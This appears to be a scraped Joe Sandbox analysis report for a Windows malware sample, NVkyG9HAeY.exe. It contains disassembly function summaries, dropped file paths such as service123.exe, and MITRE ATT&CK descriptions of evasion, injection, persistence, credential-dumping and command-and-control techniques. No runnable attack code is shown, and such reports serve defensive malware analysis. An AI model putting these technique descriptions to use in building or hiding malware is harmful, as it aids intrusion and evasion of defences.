Instruction Fuzzy Hash: DF5137B4A05A118FCB10EF29C19865DFBF5FF85308F0185ADD9915F761CB35A809CB82

Function 6C7B8080 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,00000002,?,6C7B81A1), ref: 6C7B80A7
InitializeCriticalSection.KERNEL32(?,?,00000002,?,6C7B81A1), ref: 6C7B80E4
InitializeCriticalSection.KERNEL32(?,?,?,00000002,?,6C7B81A1), ref: 6C7B80F0
EnterCriticalSection.KERNEL32(?,?,00000002,?,6C7B81A1), ref: 6C7B8118

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: 14fc5efe7aa0465f7cbf5a838b6a5f58d08989b510ee27b3e741df5ac6398b24
Instruction ID: 896a9118125524a42a2984a9325d1ca11909420373e0f538e5039120b28c5e88
Opcode Fuzzy Hash: 14fc5efe7aa0465f7cbf5a838b6a5f58d08989b510ee27b3e741df5ac6398b24
Instruction Fuzzy Hash: 6911C4B16061069BDF20AF2CD6C625A77F4EB1639CFA1097AC456D7700E631D588C7D3

Function 00956B60 Relevance: 5.1, APIs: 4, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,00956C81,?,?,?,?,?,?,00000000,00954F24), ref: 00956B87
InitializeCriticalSection.KERNEL32(?,?,?,?,00956C81,?,?,?,?,?,?,00000000,00954F24), ref: 00956BC4
InitializeCriticalSection.KERNEL32(?,?,?,?,?,00956C81,?,?,?,?,?,?,00000000,00954F24), ref: 00956BD0
EnterCriticalSection.KERNEL32(?,?,?,?,00956C81,?,?,?,?,?,?,00000000,00954F24), ref: 00956BF8

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: c9299347526b131e3b0a78eb72d53994e534f8919d6a2ba671725016a7a96f41
Instruction ID: 3eeb21066208b037889d94303c32890bb02ecaa42daada86b2b6f011f4388536
Opcode Fuzzy Hash: c9299347526b131e3b0a78eb72d53994e534f8919d6a2ba671725016a7a96f41
Instruction Fuzzy Hash: D7110CB152D2008ADB20FB3AA9C516A76E8AB01302F950925DC86C7614E631E888D797

Function 6C7AAB50 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6C7AAB5E
TlsGetValue.KERNEL32 ref: 6C7AAB85
GetLastError.KERNEL32 ref: 6C7AAB8C
LeaveCriticalSection.KERNEL32 ref: 6C7AABAC

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: fb8c86908949ba964ad42837228e23dbd29cfb52c9a730c905bf9f4430e10254
Instruction ID: 4276ddfe13ebc47fd26e854f30afe919fe3c0e491052330a7dadc49d9990a123
Opcode Fuzzy Hash: fb8c86908949ba964ad42837228e23dbd29cfb52c9a730c905bf9f4430e10254
Instruction Fuzzy Hash: 5FF081B2A003018FDB20BFA9958590A7B74EB4536CB0506B8ED9447204D730E649CBE3

Function 00952000 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,009521D3,?,?,?,?,?,009517E8), ref: 0095200E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,009521D3,?,?,?,?,?,009517E8), ref: 00952035
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,009521D3,?,?,?,?,?,009517E8), ref: 0095203C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,009521D3,?,?,?,?,?,009517E8), ref: 0095205C

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: cf3d2762e432a3c5db129cd49d9b660d08f6bd07c5c95c53e7aae9626751fa63
Instruction ID: a007cf391d74e95022a7d47804c4e912740b406042d1bd0942441dc6894af729
Opcode Fuzzy Hash: cf3d2762e432a3c5db129cd49d9b660d08f6bd07c5c95c53e7aae9626751fa63
Instruction Fuzzy Hash: DCF0C8755097008FDB20FF7AE88491B7BB8EF05352F050428DD4487254D731E90ACBE6

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NVkyG9HAeY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_NVkyG9HAeY.exe_208b294222345db7f7d82c3a5da4fe4df24458e4_68da6da8_912d5cee-6732-4a75-bad9-1acab1dc228b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13D2.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1402.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF9B.tmp.dmp

C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll

C:\Users\user\AppData\Local\Temp\service123.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Windows Analysis Report
NVkyG9HAeY.exe

Function 0095116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Function 6C7A14B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Function 009515B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Function 6C7B9C22 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre